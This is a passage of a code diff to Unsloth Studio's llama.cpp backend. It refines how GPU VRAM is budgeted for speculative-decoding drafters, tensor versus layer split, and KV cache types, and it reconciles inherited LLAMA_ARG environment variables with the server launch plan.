+                        or _is_mtp_model_name(model_identifier, model_path)
+                        or bool(mtp_draft_path)
+                    )
+                    _mtp_binary_ok = True
+                    if not _user_mtp_via_extras:
+                        try:
+                            _mtp_binary_ok = bool(
+                                (self.probe_server_capabilities(binary) or {}).get("mtp_token")
+                            )
+                        except Exception:
+                            _mtp_binary_ok = False
                     _mtp_will_engage = bool(
-                        not _extra_args_set_spec_type(extra_args)
-                        and (
-                            _mtp_effective in ("mtp", "mtp+ngram")
-                            or (
-                                _mtp_effective == "auto"
-                                and (
-                                    bool(self._nextn_predict_layers)
-                                    or _is_mtp_model_name(model_identifier, model_path)
-                                    or bool(mtp_draft_path)
-                                )
-                                and not _mtp_sub_3b_for_fit
+                        _user_mtp_via_extras
+                        or _user_draft_via_extras
+                        or (
+                            not _extra_args_set_spec_type(extra_args)
+                            and _mtp_binary_ok
+                            and _mtp_model_for_fit
+                            and (
+                                _mtp_effective in ("mtp", "mtp+ngram")
+                                or (_mtp_effective == "auto" and not _mtp_sub_3b_for_fit)
                             )
                         )
                     )
 
-                    # Auto-cap context to fit GPU VRAM and select GPUs. Two
-                    # policies by whether the user set n_ctx:
-                    #   Explicit n_ctx: honor it. Try the full context with
-                    #     _select_gpus (as many GPUs as needed); cap only if it
-                    #     doesn't fit on any combination.
-                    #   Auto n_ctx=0 (native): prefer fewer GPUs with reduced
-                    #     context, since multi-GPU is slower.
+                    # Effective draft depth: extras win (last-wins at launch), else
+                    # the field, else the platform default (2 GPU / 3 CPU).
+                    _extra_n_max = _extra_args_spec_draft_n_max(extra_args)
+                    _mtp_eff_n_max = _extra_n_max if _extra_n_max is not None else spec_draft_n_max
+                    if _mtp_eff_n_max is None:
+                        _mtp_eff_n_max = 2 if gpus else 3
+                    # Separate-drafter weights live on GPU (an embedded head is
+                    # already in model_size). Size the drafter the launch loads, by
+                    # precedence: extras --model-draft (last-wins), else Studio's
+                    # emitted mtp_draft_path, else the env drafter. Sizing the wrong
+                    # one would under-reserve and OOM.
+                    _cli_draft_for_budget = _extra_args_mtp_draft_path(extra_args, env = {})
+                    _studio_draft_for_budget = (
+                        mtp_draft_path
+                        if (
+                            _mtp_will_engage
+                            and mtp_draft_path
+                            and not _extra_args_set_spec_type(extra_args)
+                        )
+                        else None
+                    )
+                    _env_draft_for_budget = _extra_args_mtp_draft_path([], env = os.environ)
+                    _mtp_draft_for_budget = (
+                        _cli_draft_for_budget or _studio_draft_for_budget or _env_draft_for_budget
+                    )
+                    # Drafter offloaded to CPU keeps its weights+KV off the GPU, so
+                    # drop it from the budget (an embedded head stays in the model).
+                    # Consult the env too: the child honors LLAMA_ARG_N_GPU_LAYERS_DRAFT.
+                    _draft_on_cpu = _extra_args_draft_offloaded_to_cpu(extra_args, env = os.environ)
+                    if _draft_on_cpu:
+                        _mtp_draft_for_budget = None
+                    _mtp_draft_weights = 0
+                    if _mtp_draft_for_budget:
+                        try:
+                            _mtp_draft_weights = self._get_gguf_size_bytes(_mtp_draft_for_budget)
+                        except Exception:
+                            _mtp_draft_weights = 0
+                    # Draft K/V types (f16 by default; independent extras overrides).
+                    _mtp_draft_ck, _mtp_draft_cv = _extra_args_draft_cache_types(extra_args)
+
+                    # Byte-accurate reserve when dims allow, else None -> flat fallback.
+                    mtp_overhead_fn: Optional[Callable[[int], int]] = None
+                    # True when the byte reserve is the drafter weights ONLY because
+                    # its KV couldn't be sized; the flat fraction must then stay on
+                    # as the cushion for that unsized draft KV (it is not covered by
+                    # the weights-only mtp_overhead_fn).
+                    _mtp_kv_unsized = False
+                    if _mtp_will_engage:
+                        _probe_ctx = self._context_length or (
+                            effective_ctx if effective_ctx > 0 else 4096
+                        )
+                        _draft_kv_probe = self._mtp_draft_kv_bytes(
+                            _probe_ctx,
+                            drafter_path = _mtp_draft_for_budget,
+                            draft_cache_type_k = _mtp_draft_ck,
+                            draft_cache_type_v = _mtp_draft_cv,
+                            n_parallel = n_parallel,
+                        )
+                        if (
+                            self._estimate_mtp_overhead_bytes(
+                                _probe_ctx,
+                                spec_draft_n_max = _mtp_eff_n_max,
+                                draft_cache_type_k = _mtp_draft_ck,
+                                draft_cache_type_v = _mtp_draft_cv,
+                                drafter_path = _mtp_draft_for_budget,
+                                draft_weights_bytes = _mtp_draft_weights,
+                                n_parallel = n_parallel,
+                            )
+                            is not None
+                        ):
+                            # Reserve is weights-only when the draft KV is unsizable.
+                            _mtp_kv_unsized = _draft_kv_probe is None
+
+                            # Closure binding this load's draft params; ctx varies.
+                            def mtp_overhead_fn(
+                                ctx: int,
+                                _n: int = _mtp_eff_n_max,
+                                _ck: Optional[str] = _mtp_draft_ck,
+                                _cv: Optional[str] = _mtp_draft_cv,
+                                _dp: Optional[str] = _mtp_draft_for_budget,
+                                _w: int = _mtp_draft_weights,
+                                _np: int = n_parallel,
+                            ) -> int:
+                                v = self._estimate_mtp_overhead_bytes(
+                                    ctx,
+                                    spec_draft_n_max = _n,
+                                    draft_cache_type_k = _ck,
+                                    draft_cache_type_v = _cv,
+                                    drafter_path = _dp,
+                                    draft_weights_bytes = _w,
+                                    n_parallel = _np,
+                                )
+                                return v if v is not None else 0
+
+                    def _mtp_bytes(ctx: int) -> int:
+                        return mtp_overhead_fn(ctx) if mtp_overhead_fn is not None else 0
+
+                    # Effective micro-batch (a user --ubatch override scales the
+                    # compute buffer); None -> the 512 default in the estimate.
+                    _effective_ubatch = _extra_args_n_ubatch(extra_args)
+
+                    # Layer-split compute buffer (one lump; tensor mode reserves it
+                    # per device in _plan_tensor_parallel). Context-independent, so
+                    # fold it into the model footprint for the branches below. Falls
+                    # back to the flat reserve when dims are missing (returns 0), a
+                    # safe upper bound since the tensor buffer >= the layer one.
+                    _compute_buffer_pipeline = self._estimate_compute_buffer_bytes(
+                        n_ubatch = _effective_ubatch,
+                        n_parallel = n_parallel,
+                        per_device_tensor = False,
+                    )
+                    if _compute_buffer_pipeline <= 0:
+                        _compute_buffer_pipeline = (
+                            self._TENSOR_PARALLEL_BUFFER_RESERVE_MIB * 1024 * 1024
+                        )
+                    model_size_fit = model_size + _compute_buffer_pipeline
+
+                    # Layer split adds a fixed per-device overhead on every GPU. The
+                    # folded buffer covers one device; reserve the extra devices'
+                    # share so a k-GPU split can't pin a context that OOMs a device
+                    # (k=1 adds nothing).
+                    _pipeline_overhead_bytes = self._PIPELINE_PER_DEVICE_OVERHEAD_MIB * 1024 * 1024
+
+                    def _subset_model_size(n_gpus: int) -> int:
+                        return model_size_fit + max(0, n_gpus - 1) * _pipeline_overhead_bytes
+
+                    # Auto-cap context to fit VRAM and select GPUs. Explicit n_ctx:
+                    # honor it, cap only if it fits no combination. Auto (native):
+                    # prefer fewer GPUs with reduced context (multi-GPU is slower).
                     gpu_indices, use_fit = None, True
                     # Per-GPU weight proportions for tensor mode (None = even).
                     tp_tensor_split: Optional[list[int]] = None
                     explicit_ctx = requested_ctx > 0
-                    # MTP draft model lives outside the main estimates; carve
-                    # its reserve out of every fit budget and pin threshold so
-                    # a load can't pin into the drafter's headroom.
-                    _mtp_reserve = _MTP_VRAM_RESERVE_FRAC if _mtp_will_engage else 0.0
-                    _pin_fraction = self._GPU_PIN_VRAM_FRACTION - _mtp_reserve
+                    # Flat MTP reserve fraction: used only as the fallback when the
+                    # byte-accurate mtp_overhead_fn can't size the draft KV (dims
+                    # unavailable, or _mtp_kv_unsized = weights-only). A separate
+                    # drafter on CPU uses no GPU (no reserve); an embedded head is on
+                    # GPU regardless of draft-offload flags (keep its reserve).
+                    _flat_mtp_engages = _mtp_will_engage and (
+                        mtp_overhead_fn is None or _mtp_kv_unsized
+                    )
+                    _draft_cpu_no_embedded = _draft_on_cpu and not self._nextn_predict_layers
+                    # MTP reserves GPU VRAM unless its only drafter is a separate
+                    # CPU-offloaded one (an embedded head stays on GPU). The tensor
+                    # path reserves like the layer path; gate both on this.
+                    _mtp_reserves_gpu = _mtp_will_engage and not _draft_cpu_no_embedded
+                    _flat_mtp_reserve = (
+                        _MTP_VRAM_RESERVE_FRAC
+                        if (_flat_mtp_engages and not _draft_cpu_no_embedded)
+                        else 0.0
+                    )
+                    _pin_fraction = self._GPU_PIN_VRAM_FRACTION - _flat_mtp_reserve
 
-                    # Tensor mode allocates a compute-graph buffer on every
-                    # participating GPU, so a GPU with less free VRAM than that
-                    # reserve can't host it and would OOM at load. Drop those
-                    # from the tensor-parallel set up front (gpu_indices below
-                    # becomes the CUDA_VISIBLE_DEVICES mask, so they're excluded
-                    # from llama-server entirely, not just given zero weight).
+                    # Tensor mode replicates a compute buffer on every GPU, so drop
+                    # GPUs below that reserve from the set up front (gpu_indices
+                    # becomes the CUDA_VISIBLE_DEVICES mask, fully excluding them).
                     tp_gpus = gpus
                     if tensor_parallel:
-                        reserve_mib = self._TENSOR_PARALLEL_BUFFER_RESERVE_MIB
-                        tp_gpus = [g for g in gpus if g[1] >= reserve_mib]
+                        # Deterministic per-device compute buffer (replicated on
+                        # every device in tensor mode); flat fallback when dims
+                        # are unavailable. _plan_tensor_parallel uses the same.
+                        _tp_reserve_bytes = self._estimate_compute_buffer_bytes(
+                            n_ubatch = _effective_ubatch,
+                            n_parallel = n_parallel,
+                            per_device_tensor = True,
+                        )
+                        reserve_mib = (
+                            _tp_reserve_bytes // (1024 * 1024)
+                            if _tp_reserve_bytes > 0
+                            else self._TENSOR_PARALLEL_BUFFER_RESERVE_MIB
+                        )
+                        # Admit by usable budget (free - (1-frac)*total), not raw
+                        # free: a partly-used big card can clear the reserve on raw
+                        # free yet have no budget left.
+                        tp_gpus = [g for g in gpus if _gpu_usable(g) >= reserve_mib]
 
                     if tensor_parallel and len(tp_gpus) < 2:
                         # Tensor parallelism needs >= 2 usable GPUs. On a single
@@ -4016,21 +4734,81 @@ class LlamaCppBackend:
                             len(gpus),
                         )
                         tensor_parallel = False
-                        # A user --split-mode tensor in extras is appended after
-                        # Studio's flags, so it would still reach llama-server and
-                        # fail here; strip it so the downgrade actually applies.
-                        extra_args = strip_split_mode_only(extra_args)
+                        # Layer split supports a quantized KV the tensor attempt
+                        # dropped; restore it and re-emit it (clear the env flag the
+                        # tensor re-adoption may have set, so the restored type wins
+                        # over a stale inherited env on the layer launch).
+                        if _tensor_dropped_cache_type_kv is not None:
+                            cache_type_kv = _tensor_dropped_cache_type_kv
+                            _cache_type_from_env = False
+                        # Restore the original extras (with the real, possibly
+                        # asymmetric, --cache-type-k/-v the tensor attempt stripped),
+                        # then drop the user --split-mode tensor so the downgrade
+                        # actually applies (extras are appended last).
+                        extra_args = strip_split_mode_only(
+                            _tensor_dropped_extra_args
+                            if _tensor_dropped_extra_args is not None
+                            else extra_args
+                        )
 
                     if tensor_parallel and tp_gpus:
-                        # Tensor-parallel allocation: use all usable GPUs, weight
-                        # the split by (free - buffer), and cap context to the
-                        # pooled VRAM after weights + per-device compute-graph
-                        # buffers. See _plan_tensor_parallel for the policy.
+                        # Pooled usable budget (after each device's compute buffer)
+                        # must hold the non-shrinkable footprint: weights + the MTP
+                        # reserve. The planner can shrink ctx/KV, not these.
+                        _tp_weight_budget_mib = (
+                            sum(_gpu_usable(g) for g in tp_gpus) - len(tp_gpus) * reserve_mib
+                        )
+                        _tp_flat_mtp = 2 * 1024**3  # flat reserve when dims unavailable
+                        if not _mtp_reserves_gpu:
+                            # No MTP, or its only drafter is CPU-offloaded (no GPU).
+                            _tp_mtp_floor = 0
+                        elif mtp_overhead_fn is not None and not _mtp_kv_unsized:
+                            _tp_mtp_floor = _mtp_bytes(
+                                min(2048, effective_ctx) if effective_ctx > 0 else 2048
+                            )
+                        else:
+                            # Dims unavailable / weights-only: tensor mode has no
+                            # --fit valve, so keep the flat reserve as the unsized-KV
+                            # cushion, never below the known byte reserve.
+                            _tp_mtp_floor = max(
+                                _tp_flat_mtp,
+                                _mtp_bytes(min(2048, effective_ctx) if effective_ctx > 0 else 2048),
+                            )
+                        _tp_required_mib = (model_size + _tp_mtp_floor) / (1024 * 1024)
+                        if _tp_weight_budget_mib <= _tp_required_mib:
+                            logger.info(
+                                "Tensor parallelism requested but the pooled VRAM "
+                                "budget cannot hold the weights, MTP reserve, and "
+                                "per-device compute buffers; falling back to layer split."
+                            )
+                            tensor_parallel = False
+                            # Restore the dropped quantized KV (layer split supports
+                            # it); clear the env flag so the restored type is emitted.
+                            if _tensor_dropped_cache_type_kv is not None:
+                                cache_type_kv = _tensor_dropped_cache_type_kv
+                                _cache_type_from_env = False
+                            # Restore the original (possibly asymmetric) cache extras
+                            # too, dropping only the user --split-mode tensor.
+                            extra_args = strip_split_mode_only(
+                                _tensor_dropped_extra_args
+                                if _tensor_dropped_extra_args is not None
+                                else extra_args
+                            )
+
+                    if tensor_parallel and tp_gpus:
+                        # Tensor-parallel allocation; see _plan_tensor_parallel.
                         target_ctx = (
                             effective_ctx
                             if explicit_ctx
                             else (self._context_length or effective_ctx)
                         )
+                        # When the draft KV couldn't be sized (weights-only reserve),
+                        # the planner's mtp_overhead_fn is non-None but covers only
+                        # weights, so pass the flat cushion for the unsized KV (else
+                        # the binary search spends it on context).
+                        _tp_unsized_mtp_reserve = (
+                            2 * 1024**3 if (_mtp_reserves_gpu and _mtp_kv_unsized) else 0
+                        )
                         (
                             effective_ctx,
                             max_available_ctx,
@@ -4042,10 +4820,14 @@ class LlamaCppBackend:
                             target_ctx,
                             cache_type_kv = cache_type_kv,
                             n_parallel = n_parallel,
-                            mtp_engaged = _mtp_will_engage,
+                            mtp_engaged = _mtp_reserves_gpu,
+                            mtp_overhead_fn = mtp_overhead_fn,
+                            mtp_flat_reserve_bytes = _tp_unsized_mtp_reserve,
                             # Report the UI ceiling from native ctx, not the
                             # explicit small request.
                             max_target_ctx = self._context_length or target_ctx,
+                            total_by_idx = total_by_idx,
+                            n_ubatch = _effective_ubatch,
                         )
                         use_fit = False
                     elif gpus and self._can_estimate_kv() and effective_ctx > 0:
@@ -4054,24 +4836,38 @@ class LlamaCppBackend:
                         # bounds), independent of the currently requested context.
                         native_ctx_for_cap = self._context_length or effective_ctx
                         if native_ctx_for_cap > 0:
-                            ranked_for_cap = sorted(gpus, key = lambda g: g[1], reverse = True)
+                            ranked_for_cap = sorted(
+                                gpus,
+                                key = lambda g: _gpu_usable(
+                                    g, _CTX_FIT_VRAM_FRACTION - _flat_mtp_reserve
+                                ),
+                                reverse = True,
+                            )
                             best_cap = 0
+                            _cap_fraction = _CTX_FIT_VRAM_FRACTION - _flat_mtp_reserve
                             for n_gpus in range(1, len(ranked_for_cap) + 1):
                                 subset = ranked_for_cap[:n_gpus]
-                                pool_mib = sum(free for _, free in subset)
+                                # Per-GPU-consistent pool budget (fixes mixed
+                                # known/unknown totals); pass it as an absolute
+                                # budget so the fit and the check below agree.
+                                pool_budget = _pool_budget_mib(subset, _cap_fraction)
+                                _ms = _subset_model_size(n_gpus)
                                 capped = self._fit_context_to_vram(
                                     native_ctx_for_cap,
-                                    pool_mib,
-                                    model_size,
+                                    pool_budget,
+                                    _ms,
                                     cache_type_kv,
                                     n_parallel = n_parallel,
-                                    mtp_engaged = _mtp_will_engage,
+                                    mtp_engaged = _mtp_reserves_gpu,
+                                    mtp_overhead_fn = mtp_overhead_fn,
+                                    budget_frac = 1.0,
+                                    total_mib = None,
                                 )
                                 kv = self._estimate_kv_cache_bytes(
                                     capped, cache_type_kv, n_parallel = n_parallel
                                 )
-                                total_mib = (model_size + kv) / (1024 * 1024)
-                                if total_mib <= pool_mib * (_CTX_FIT_VRAM_FRACTION - _mtp_reserve):
+                                footprint_mib = (_ms + kv + _mtp_bytes(capped)) / (1024 * 1024)
+                                if footprint_mib <= pool_budget:
                                     best_cap = max(best_cap, capped)
                             if best_cap > 0:
                                 max_available_ctx = best_cap
@@ -4085,34 +4881,49 @@ class LlamaCppBackend:
                             # Honor the requested context verbatim. If it fits,
                             # pin GPUs and skip --fit; else ship -c <ctx> --fit
                             # on and let llama-server flex -ngl (CPU offload).
-                            requested_total = model_size + self._estimate_kv_cache_bytes(
-                                effective_ctx, cache_type_kv, n_parallel = n_parallel
+                            requested_total = (
+                                model_size_fit
+                                + self._estimate_kv_cache_bytes(
+                                    effective_ctx, cache_type_kv, n_parallel = n_parallel
+                                )
+                                + _mtp_bytes(effective_ctx)
                             )
                             gpu_indices, use_fit = self._select_gpus(
-                                requested_total, gpus, usable_fraction = _pin_fraction
+                                requested_total,
+                                gpus,
+                                usable_fraction = _pin_fraction,
+                                total_by_idx = total_by_idx,
+                                per_device_overhead_bytes = _pipeline_overhead_bytes,
                             )
                             # No silent shrink: effective_ctx stays == requested_ctx.
                         else:
                             # Auto context: prefer fewer GPUs, cap to fit. Same
-                            # headroom threshold as _select_gpus (#5106).
-                            ranked = sorted(gpus, key = lambda g: g[1], reverse = True)
+                            # headroom threshold as _select_gpus (#5106). Rank by the
+                            # active pin fraction so the order matches the fit budget.
                             pin_fraction = _pin_fraction
+                            ranked = sorted(
+                                gpus, key = lambda g: _gpu_usable(g, pin_fraction), reverse = True
+                            )
                             for n_gpus in range(1, len(ranked) + 1):
                                 subset = ranked[:n_gpus]
-                                pool_mib = sum(free for _, free in subset)
+                                pool_budget = _pool_budget_mib(subset, pin_fraction)
+                                _ms = _subset_model_size(n_gpus)
                                 capped = self._fit_context_to_vram(
                                     effective_ctx,
-                                    pool_mib,
-                                    model_size,
+                                    pool_budget,
+                                    _ms,
                                     cache_type_kv,
                                     n_parallel = n_parallel,
-                                    mtp_engaged = _mtp_will_engage,
+                                    mtp_engaged = _mtp_reserves_gpu,
+                                    mtp_overhead_fn = mtp_overhead_fn,
+                                    budget_frac = 1.0,
+                                    total_mib = None,
                                 )
                                 kv = self._estimate_kv_cache_bytes(
                                     capped, cache_type_kv, n_parallel = n_parallel
                                 )
-                                total_mib = (model_size + kv) / (1024 * 1024)
-                                if total_mib <= pool_mib * pin_fraction:
+                                footprint_mib = (_ms + kv + _mtp_bytes(capped)) / (1024 * 1024)
+                                if footprint_mib <= pool_budget:
                                     effective_ctx = capped
                                     gpu_indices = sorted(idx for idx, _ in subset)
                                     use_fit = False
@@ -4125,14 +4936,17 @@ class LlamaCppBackend:
                                 if effective_ctx > 0:
                                     for n_gpus in range(1, len(ranked) + 1):
                                         subset = ranked[:n_gpus]
-                                        pool_mib = sum(free for _, free in subset)
                                         kv = self._estimate_kv_cache_bytes(
                                             effective_ctx,
                                             cache_type_kv,
                                             n_parallel = n_parallel,
                                         )
-                                        total_mib = (model_size + kv) / (1024 * 1024)
-                                        if total_mib <= pool_mib * pin_fraction:
+                                        footprint_mib = (
+                                            _subset_model_size(n_gpus)
+                                            + kv
+                                            + _mtp_bytes(effective_ctx)
+                                        ) / (1024 * 1024)
+                                        if footprint_mib <= _pool_budget_mib(subset, pin_fraction):
                                             gpu_indices = sorted(idx for idx, _ in subset)
                                             use_fit = False
                                             break
@@ -4144,14 +4958,36 @@ class LlamaCppBackend:
                             "Falling back to file-size-only GPU selection",
                             model_size_gb = round(model_size / (1024**3), 2),
                         )
+                        # Add the byte-accurate MTP reserve here too when it is
+                        # available; otherwise _pin_fraction carries the flat
+                        # fallback (the two are mutually exclusive by design).
+                        _fs_total = model_size_fit + _mtp_bytes(
+                            self._context_length or effective_ctx or 4096
+                        )
                         gpu_indices, use_fit = self._select_gpus(
-                            model_size, gpus, usable_fraction = _pin_fraction
+                            _fs_total,
+                            gpus,
+                            usable_fraction = _pin_fraction,
+                            total_by_idx = total_by_idx,
+                            per_device_overhead_bytes = _pipeline_overhead_bytes,
                         )
                         if use_fit and not explicit_ctx:
                             # Weights don't fit on any subset; default UI to 4096
                             # so the slider isn't on an unusable native ctx.
                             effective_ctx = min(4096, effective_ctx) if effective_ctx > 0 else 4096
 
+                    # MTP reserve at the final context, for the logs below.
+                    _mtp_reserve_bytes = _mtp_bytes(effective_ctx) if _mtp_will_engage else 0
+                    if _mtp_will_engage:
+                        _mtp_note = (
+                            f"MTP reserve: {_mtp_reserve_bytes / (1024**3):.2f} GB "
+                            f"(draft KV @ {effective_ctx} + verify n_max={_mtp_eff_n_max}"
+                            + (", flat-frac fallback" if mtp_overhead_fn is None else "")
+                            + "), "
+                        )
+                    else:
+                        _mtp_note = ""
+
                     if effective_ctx < original_ctx:
                         kv_est = self._estimate_kv_cache_bytes(
                             effective_ctx, cache_type_kv, n_parallel = n_parallel
@@ -4159,7 +4995,9 @@ class LlamaCppBackend:
                         logger.info(
                             f"Context auto-reduced: {original_ctx} -> {effective_ctx} "
                             f"(model: {model_size / (1024**3):.1f} GB, "
-                            f"est. KV cache: {kv_est / (1024**3):.1f} GB)"
+                            f"est. KV cache: {kv_est / (1024**3):.1f} GB, "
+                            f"{_mtp_note}".rstrip(", ")
+                            + ")"
                         )
 
                     kv_cache_bytes = self._estimate_kv_cache_bytes(
@@ -4172,6 +5010,7 @@ class LlamaCppBackend:
                         f"GGUF size: {gguf_size / (1024**3):.1f} GB, "
                         f"{mmproj_note}"
                         f"est. KV cache: {kv_cache_bytes / (1024**3):.1f} GB, "
+                        f"{_mtp_note}"
                         f"context: {effective_ctx}, "
                         f"GPUs free: {gpus}, selected: {gpu_indices}, fit: {use_fit}"
                     )
@@ -4266,7 +5105,11 @@ class LlamaCppBackend:
                     "iq4_nl",
                     "f32",
                 }
-                if cache_type_kv and cache_type_kv in _valid_cache_types:
+                if (
+                    cache_type_kv
+                    and cache_type_kv in _valid_cache_types
+                    and not _cache_type_from_env
+                ):
                     cmd.extend(
                         [
                             "--cache-type-k",
@@ -4278,6 +5121,8 @@ class LlamaCppBackend:
                     self._cache_type_kv = cache_type_kv
                     logger.info(f"KV cache type: {cache_type_kv}")
                 else:
+                    # An env-only type is left inherited (untouched) so an
+                    # asymmetric K/V env reaches the child as set.
                     self._cache_type_kv = None
 
                 # Tensor parallelism: split the model across GPUs by tensor
@@ -4435,6 +5280,31 @@ class LlamaCppBackend:
                 if "--threads" not in cmd:
                     env.pop("LLAMA_ARG_THREADS", None)
 
+                # Reconcile the inherited LLAMA_ARG_* env with Studio's final
+                # decision: stripping CLI extras on a tensor->layer downgrade
+                # can't remove env vars, so the child could run a mode/KV Studio
+                # didn't budget.
+                if not tensor_parallel:
+                    # Layer split: clear a non-layer inherited split mode (and any
+                    # paired tensor-split) so the child can't override the layer plan.
+                    _inherited_sm = (env.get("LLAMA_ARG_SPLIT_MODE") or "").strip().lower()
+                    if _inherited_sm and _inherited_sm != "layer":
+                        env.pop("LLAMA_ARG_SPLIT_MODE", None)
+                        env.pop("LLAMA_ARG_TENSOR_SPLIT", None)
+                else:
+                    # Studio owns the tensor split: it emits --tensor-split when it
+                    # picks an uneven one (CLI wins) and nothing when an even split
+                    # is safe. Clear any inherited LLAMA_ARG_TENSOR_SPLIT so the even
+                    # case can't be overridden by a stale env (the layer branch above
+                    # clears it too).
+                    env.pop("LLAMA_ARG_TENSOR_SPLIT", None)
+                    # Tensor split aborts on a quantized KV; clear an inherited
+                    # quantized cache type so the child uses the tensor-safe default.
+                    for _ct_var in ("LLAMA_ARG_CACHE_TYPE_K", "LLAMA_ARG_CACHE_TYPE_V"):
+                        _ct_raw = (env.get(_ct_var) or "").strip().lower()
+                        if _ct_raw and _ct_raw not in self._TENSOR_PARALLEL_KV_TYPES:
+                            env.pop(_ct_var, None)
+
                 # Windows + full offload: PASSIVE OMP + 2 threads stop
                 # spin-wait burning CPU. CPU/partial offload keeps default
                 # OMP parallelism. #5692.
@@ -4885,6 +5755,11 @@ class LlamaCppBackend:
                     "run `unsloth studio update`. Loading without "
                     "speculative decoding."
                 )
+                # Override an inherited LLAMA_ARG_SPEC_TYPE=draft-mtp (CLI wins
+                # over env) so the child matches the binary-capability gate and
+                # the no-MTP budget, like the sibling no-head/non-MTP fallbacks.
+                flags.append("--spec-default")
+                self._speculative_type = "default"
                 self._spec_fallback_reason = "binary_no_mtp"
                 return False
             draft_n_max = _resolved_draft_n_max()
@@ -5071,10 +5946,12 @@ class LlamaCppBackend:
         if _norm(self._cache_type_kv) != _norm(cache_type_kv):
             return False
 
-        # Reconcile a user --split-mode in extras (load_model does the same), so
-        # an extras-driven tensor load isn't seen as a mismatch that needlessly
-        # kills/reloads a healthy server.
-        if self._tensor_parallel != resolve_tensor_parallel(extra_args, tensor_parallel):
+        # Reconcile a user --split-mode in extras AND an inherited tensor
+        # LLAMA_ARG_SPLIT_MODE env, but only against a server that actually
+        # launched tensor: if load_model downgraded to layer split it scrubbed
+        # the child env, so the env must not force an endless reload of a healthy
+        # server. An identical request would downgrade the same way.
+        if not _tensor_parallel_matches_loaded(extra_args, tensor_parallel, self._tensor_parallel):
             return False
 
         # Compare on the canonical requested mode. With --spec-type in
diff --git a/studio/backend/core/inference/llama_server_args.py b/studio/backend/core/inference/llama_server_args.py
index 69a86fa3ba..b42be5ee0d 100644
--- a/studio/backend/core/inference/llama_server_args.py
+++ b/studio/backend/core/inference/llama_server_args.py
@@ -13,7 +13,8 @@ Ref: https://github.com/ggml-org/llama.cpp/blob/master/tools/server/README.md
 
 from __future__ import annotations
 
-from typing import Iterable, Optional
+import os
+from typing import Iterable, Mapping, Optional
 
 # Each group = every alias (short + long) of one hard-denied flag.
 # Extend the matching group when llama.cpp adds a new alias.
@@ -124,7 +125,9 @@ def is_managed_flag(flag: str) -> bool:
 # from inherited extras so they can't last-wins-override an Apply that
 # re-sets the same field.
 _CONTEXT_FLAGS: frozenset[str] = frozenset({"-c", "--ctx-size"})
-_CACHE_FLAGS: frozenset[str] = frozenset({"-ctk", "--cache-type-k", "-ctv", "--cache-type-v"})
+_CACHE_TYPE_K_FLAGS: frozenset[str] = frozenset({"-ctk", "--cache-type-k"})
+_CACHE_TYPE_V_FLAGS: frozenset[str] = frozenset({"-ctv", "--cache-type-v"})
+_CACHE_FLAGS: frozenset[str] = _CACHE_TYPE_K_FLAGS | _CACHE_TYPE_V_FLAGS
 _SPEC_FLAGS: frozenset[str] = frozenset(
     {
         "--spec-default",
@@ -133,13 +136,22 @@ _SPEC_FLAGS: frozenset[str] = frozenset(
         "--spec-ngram-size",
         "--draft-min",
         "--draft-max",
-        # MTP path (llama.cpp #22673). --model-draft and aliases are
-        # Studio-managed since the separate-drafter support (Gemma 4): an
-        # inherited copy must not last-wins-override the auto-detected
-        # drafter. Explicit extras for the current load are never stripped.
+        # MTP path (llama.cpp #22673). The drafter selectors (local --model-draft
+        # and HF --spec-draft-hf aliases) are Studio-managed since the separate-
+        # drafter support (Gemma 4): an inherited copy must not last-wins-override
+        # the auto-detected drafter. Explicit extras for the current load are never
+        # stripped. The per-drafter tuning knobs (--spec-draft-type-*, -ngld,
+        # --spec-draft-device) are deliberately NOT stripped: the VRAM budget reads
+        # them via the same parsers the child honors, so they stay consistent on
+        # inherit, and stripping them would silently move a CPU-offloaded drafter
+        # back onto the GPU.
         "--model-draft",
         "-md",
         "--spec-draft-model",
+        "--spec-draft-hf",
+        "-hfd",
+        "-hfrd",
+        "--hf-repo-draft",
         "--spec-draft-n-max",
         "--spec-draft-n-min",
         "--spec-draft-p-min",
@@ -274,6 +286,20 @@ def parse_cache_override(args: Optional[Iterable[str]]) -> Optional[str]:
     return _last_flag_value(args, _CACHE_FLAGS)
 
 
+def parse_cache_override_per_axis(
+    args: Optional[Iterable[str]],
+) -> tuple[Optional[str], Optional[str]]:
+    """Last-wins --cache-type-k / --cache-type-v values kept apart, as (k, v).
+
+    parse_cache_override collapses both axes to one last-wins value; this keeps
+    them separate so an asymmetric K/V can be budgeted by its heavier axis.
+    """
+    return (
+        _last_flag_value(args, _CACHE_TYPE_K_FLAGS),
+        _last_flag_value(args, _CACHE_TYPE_V_FLAGS),
+    )
+
+
 def resolve_cache_type_kv(
     args: Optional[Iterable[str]], fallback_cache_type_kv: Optional[str]
 ) -> Optional[str]:
@@ -309,6 +335,60 @@ def resolve_tensor_parallel(args: Optional[Iterable[str]], fallback_tensor_paral
     return override.strip().lower() == "tensor"
 
 
+def _env_split_mode_is_tensor(env: Optional[Mapping[str, str]] = None) -> bool:
+    """True when the inherited LLAMA_ARG_SPLIT_MODE env selects tensor. Studio
+    emits --split-mode only on its tensor branch, so a tensor env on the layer
+    path would run the child tensor-parallel unbudgeted; this flips the budget
+    to tensor. Only tensor is heavier, so other modes are ignored."""
+    raw = (os.environ if env is None else env).get("LLAMA_ARG_SPLIT_MODE")
+    return bool(raw) and raw.strip().lower() == "tensor"
+
+
+def _effective_tensor_parallel(
+    extra_args: Optional[Iterable[str]],
+    tensor_parallel: bool,
+    env: Optional[Mapping[str, str]] = None,
+) -> bool:
+    """Tensor-parallel decision including the inherited LLAMA_ARG_SPLIT_MODE env.
+
+    resolve_tensor_parallel (extras + toggle), flipped on when extras set no split
+    mode but the child inherits a tensor split env. Shared by load_model (which
+    budgets and launches it) and the tensor-fallback wrapper (so an env-only
+    tensor crash still retries layer split)."""
+    resolved = resolve_tensor_parallel(extra_args, tensor_parallel)
+    if (
+        not resolved
+        and parse_split_mode_override(extra_args) is None
+        and _env_split_mode_is_tensor(env)
+    ):
+        return True
+    return resolved
+
+
+def _tensor_parallel_matches_loaded(
+    extra_args: Optional[Iterable[str]],
+    requested_tensor_parallel: bool,
+    loaded_tensor_parallel: bool,
+    env: Optional[Mapping[str, str]] = None,
+) -> bool:
+    """Whether a duplicate load request matches a loaded server's tensor state.
+
+    Env-only tensor mode is a launch hint load_model may downgrade to layer split
+    (capacity/buffer), scrubbing the child env. So only let an inherited tensor env
+    raise a match against a server that *actually* launched tensor; on a downgraded
+    (layer) server the env is ignored, and an identical request would downgrade the
+    same way -- avoiding an endless reload of a healthy server."""
+    requested = resolve_tensor_parallel(extra_args, requested_tensor_parallel)
+    if (
+        loaded_tensor_parallel
+        and not requested
+        and parse_split_mode_override(extra_args) is None
+        and _env_split_mode_is_tensor(env)
